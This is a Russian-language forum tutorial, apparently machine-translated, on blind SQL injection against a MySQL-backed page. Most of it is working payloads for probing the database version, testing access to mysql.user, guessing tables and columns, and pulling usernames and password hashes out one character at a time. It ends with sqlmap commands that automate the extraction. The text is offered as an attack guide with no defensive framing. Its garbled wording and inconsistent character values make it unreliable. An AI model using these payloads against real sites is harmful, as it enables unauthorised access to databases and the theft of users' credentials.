Всем привет.Моя сегоднешняя статья будет посвящена "слепым" иньекциям-
blind sql inj.Итак начнем...
"Слепые" иньекции используются когда видно,что веб-приложение уязвимо к sql иньекции,но результаты иньекции не видны.
При слепых иньекциях не пытайтесь использовать коментарии (например: -- или / *) это не нужно,только помешает....Есть автоматические утилиты для работы с такими иньекциями,но я лично предпочитаю использовать сочетание -руки-тулза- делать инъекцию вручную,а с помощью инструментов вывести реальное содержание из колонки. Тянение данные mysql, используя слепые атаки происходит медленно, даже при использовании инструментов , но когда нет другого варианта....
К примеру у нас есть урл
Код:
http://site.com/news.php?id=12
когда перейдем по ссылку,видим новостную статью с названием и содержанием статьи.Для тестирования на слепую иньекцию набираем
Код:
news.php?id=12 and 1=1
Мы должны видеть тот же юрл и содержание как и прежде,а теперь попробуем
Код:
news.php?id=12 and 1=2
И первым признаком об успешной иньекксации мы увидим пропавшее без вести содержание страницы,или заголовок,возможно нумераци страниц,или их количество.Вы можете нажимать назад и вперед в браузере искать различия.Если нашими действиями было,то что мы на строки с переменной, вместо news.php? Номер = 12 и 1 = 1 / news.php? Номер = 12 и 1 = 2, мы будем делать news.php? Номер = 12 'и 1 =' 1 / news.php? Номер = 12 'и 1 ='2 это синтаксическая ошибка меньше.
Для нашего примера можно сказать, что заголовок / содержание статьи исчезает, когда мы делали 1 = 2, но все еще там остается , когда мы делали 1 = 1. мы видим,что наш вклад отражается,следственно вернулись данные mysql. а когда 1 = 2 - тут возвращения не будет, а если запрос верного содержания, как правило, данные возвращаются с остальными sql запросами.
Получаем MYSQL версию
Первый рассмматриваемый мною вопрос, это добыча номера версии mysql, который помо жет нам узнать, какие команды,которые доступны в различных mysql.
Код:
news.php?id=12 and substring(@@version,1,1)=4
Только что я первый символ @ @ сравнил с 4, если ето действительно 4 версия,мы мы должны увидеть новости статьи, иначе страница будет вести содержание, как бы мы делали 1 = 2. Если в странице пропало содержание,следует изменить 4 на 5 и повторить попытку, на этот раз загружает страницу, как правило, с содержанием там так что мы знаем, имеют дело с Mysql5. если 4 и 5 не работает, попробуйте 3.
Провериям , имеем ли мы доступ к mysql.user
Далее я просто хочу проверить subselects, иногда слово "выберите" является в черном списке.
Код:
news.php?id=12 and (select 1)=1
если subselects работает, мы должны увидеть страницу загрузки в нормальном режиме. Далее идем смотреть,имеем ли мы права " повышенного" пользователя, который имеет доступ к mysql.user.
Код:
news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1
Если бы мы имеем доступ к mysql.user, запрос вернет 1, если мы не имеем, оно будет выдавать ошибку и нечего не будет происходить,не вернется вобщем. Так что, если происходит загрузка страницы, как правило, здесь мы имеем доступ к mysql.user и это может быть полезным для того,что бы тянуть mysql хэши, позже попробуйте использовать load_file () и OUTFILE. Имейте также в виду, я использовал 'предел 0,1', subselects,тоесть может только возвращаться 1 строка данных, или же будут ошибки, так что не забудьте об этом.
Проверка действительных столбцов
В нашем примере мы сидм в mysql5, но тянуться данные из information_schema медленно, в слепой иньекции может быть лучше тупо попробовать угадать несколько таблиц. Или Вы можете использовать mysql4 и угадать, таблицы / столбца, чтобы получить еще больше..
Код:
news.php?id=12 and (SELECT 1 from users limit 0,1)=1
Я старался угадать таблицу пользователей, если есть таблица пользователей,то она будет заргружатся в нормальном режиме. Если не получилось угадать,п росто измените таблицу и попробуйте угадать имена таблиц.
Проверка на имена столбцов в таблице найдены
Если вы получили имена стобцов,то мы теперь можем попытаться угадать некоторые колонки в этих таблицах. таблица пользователей уже была установлено выше, поэтому я подробней на этом шаге останавливаться не буду,так как тут следует использовать тот же метод,который мы использовали выше-перебирание...
Код:
news.php?id=12 and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1
И так,сейчас надо было объединить'1 'с колонкой пароля, а затем, используя подстроку "нарезать" его пропустиить просто первый символ, который должен быть 1, если колонка пароля, не существует,то следует изменить колонку пароля,так что бы попытаться угадать, другие имена столбцов.
Данные из найденых table/columns
Ну на эту часть уходит много врменени,поэтому я предпочитаю использовать автоматические инструменты из этой оперы, но зная, как это делать вручную, вы не будете зависить от программ.И так я собираюсь тянуть имя пользователя, пароль колонку из таблицы пользователей. У меня уже найдено имя пользователя, пароль, адрес электронной почты, userid, будет оставаться в колонках таблицы, используя выше метод.
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
я здесь впервые вывел имя пользователя / пароль, в противном случае вы могли бы сделать лимит 0,1 вывести из первых пользователей, subselects ограничиваются 1 строку, если ваш subselect вернется более 1раза подряд, он будет ошибкой, и это не удастся. Так что это не плохой идеей придерживаться лимит на 0,1 конце если не уверены в том, сколько строк будут возвращены. Затем вне моей subselect подстрока (, 1,1) это trims subselect вниз только первый символ, 1 символов в длину. Затем ascii () преобразует,так что бы 1 символ в ascii имел числовые значения, когда я сравнивал > 100.
Так, в вышеприведенном примере, если ascii символов больше, чем 100, страница загружается нормально. В нашем случае страница не загружается с содержанием тем которое мы знаем, первый символ меньше, чем 100, мы будем
угадать еще раз.
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>80
загрузки страницы, как правило, > 80, . Мы идем выше.
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>90
переборщили,будем брать значение поменьше...
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>85
маловато...
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>86
да,сейчас он сократился до значения большего , чем 85, но не больше 86. Итак, мы знаем, что наша номер 86! Мы можете проверить это, выполнив = 86, если вы хотите быть уверены используя ascii конвертер-- мы знаем, символ (86) является "V", так что первая буква нашего вернулся на строку "V", . Для получения следующего подпункта мы изменим подстроку...
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>100
Я изменил подстроку на 1,1, 2,1. Теперь он возвращает 2 subselect, 1 символов в длину. мы делаем то же самое еще 1раз, как первый символ. На этот раз> 100 вернулись,так что теперь мыснова будем искать слудющую характеристику сабжект,как и в вышеупонямнутом пункте будем искать число.
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>120
мм,120 многовато
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>110
много
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>105
105-еще не то
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>103
уже много,и так 105-много,103-мало,наше число 104!
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>104
если мы хотим сделать наше число 105,то представим, что символ (105) - "i". Поэтому у нас "Vi" до сих пор. Как мы видиим, мы сделали 11 запросов и получилм только 2 символа из базы данных,следовательно число довольно быстро находится.Посмотрите,сколько врмени займет тянущиеся пользователя / паролей хэш м. Держите увеличивающиеся подстроку, пока мы не получим до конца, где> 0.
Автоматические тянущие данных
Я использую sqlmap,для меня это самый оптимальный вариант . Есть другие инструменты для слепых иньекций ,тут как говорится,фломастеры разные...
Код:
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(username,0x3a,password) from users where userid=2)"
-u-это юрл вашей ньекции
-р- peramiter, будет тянуть случайных пользователей из текста itll иное использование умолчанию sqlmap агента пользователя, . -- комбинация которая появляется, когда команда TRUE, , делая 1 = 1 и 1 = 2 вставлсяет небольшой фрагмент текста, если мы хотим сделать subselect надо обязательно добавить () SELECT вокруг вашего запроса.
sqlmap также можететакже получить таблицы / столбцы, если вы имеете доступ к mysql5, но нужна полная таблица structer. Use-е сделет свои собственные команды что бы получить таблицы / столбцы, представляющие интерес.
Код:
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(table_schema,0x3a,table_name,0x3a,column_name) from information_schema.columns where column_name like 0x257061737325 limit 0,1)"
sqlmap не любит передачу кавычек, даже если ваша инъекция имеет отключенные magicquotes,Тпереь мы просто с помощью скьюлмап начнем перебирать таблицы и колонки
(с)baltazar